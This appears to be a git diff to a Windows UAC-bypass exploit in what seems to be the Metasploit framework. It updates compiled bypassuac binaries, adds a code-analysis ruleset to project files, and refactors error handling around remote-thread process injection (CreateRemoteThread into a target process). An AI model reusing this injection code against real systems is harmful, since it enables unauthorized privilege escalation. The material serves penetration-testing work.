diff --git a/data/post/bypassuac-x64.exe b/data/post/bypassuac-x64.exe
index 6e843e8d7b..b84c02bb14 100755
Binary files a/data/post/bypassuac-x64.exe and b/data/post/bypassuac-x64.exe differ
diff --git a/data/post/bypassuac-x86.exe b/data/post/bypassuac-x86.exe
index 518783b384..1746051ef5 100755
Binary files a/data/post/bypassuac-x86.exe and b/data/post/bypassuac-x86.exe differ
diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
index 224822ec99..ee5f209fcb 100644
--- a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
+++ b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
@@ -91,6 +91,7 @@
$(ProjectName).$(PlatformShortName)
false
$(Configuration)\$(Platform)\
+ AllRules.ruleset
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp
index 945a36e631..9efefdb568 100755
Binary files a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp and b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp differ
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
index 70db49eeed..fd69093652 100644
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.vcxproj
@@ -90,6 +90,7 @@
$(Configuration)\$(Platform)\
$(ProjectName).$(PlatformShortName)
$(Configuration)\$(Platform)\
+ AllRules.ruleset
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
index b383f221bc..5aa84f23dd 100755
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Inject.cpp
@@ -369,21 +369,11 @@ void W7EInject::AttemptOperation(HWND hWnd, bool bInject, bool bElevate, DWORD d
void *pRemoteFunc = reme.AllocAndCopyMemory( RemoteCodeFunc, codeEndAdr - codeStartAdr, true);
- if (reme.AnyFailures())
- {
- //MessageBox(hWnd, L"Remote allocation failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
- }
- else
+ if (!(reme.AnyFailures()))
{
HANDLE hRemoteThread = CreateRemoteThread(hTargetProc, NULL, 0, reinterpret_cast< LPTHREAD_START_ROUTINE >( pRemoteFunc ), pRemoteArgs, 0, NULL);
- if (hRemoteThread == 0)
- {
- //MessageBox(hWnd, L"Couldn't create remote thread", L"Win7Elevate", MB_OK | MB_ICONWARNING);
-
-
- }
- else
+ if (hRemoteThread != 0)
{
if ( Redirector )
Redirector();
diff --git a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
index 9f03e619ea..737602094a 100755
--- a/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
+++ b/external/source/exploits/bypassuac/Win7Elevate/Win7Elevate_Utils.cpp
@@ -60,15 +60,7 @@ bool W7EUtils::GetProcessList(HWND hWnd, std::map< DWORD, std::wstring > &mapPro
{
DWORD dwErr = GetLastError();
- if (ERROR_NO_MORE_FILES != dwErr)
- {
- //MessageBox(hWnd, L"Process32Next/First failed", L"Win7Elevate", MB_OK | MB_ICONWARNING);
- }
- else if (mapProcs.empty())
- {
- //MessageBox(hWnd, L"Process32Next/First returned nothing", L"Win7Elevate", MB_OK | MB_ICONWARNING);
- }
- else
+ if ((ERROR_NO_MORE_FILES == dwErr) && !(mapProcs.empty()))
{
bResult = true;
}
diff --git a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
index 6372bf0275..e72a94e333 100644
--- a/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
+++ b/external/source/exploits/bypassuac/Win7ElevateDll/Win7ElevateDll.vcxproj
@@ -91,6 +91,7 @@
$(ProjectName).$(PlatformShortName)
false
$(Configuration)\$(Platform)\
+ AllRules.ruleset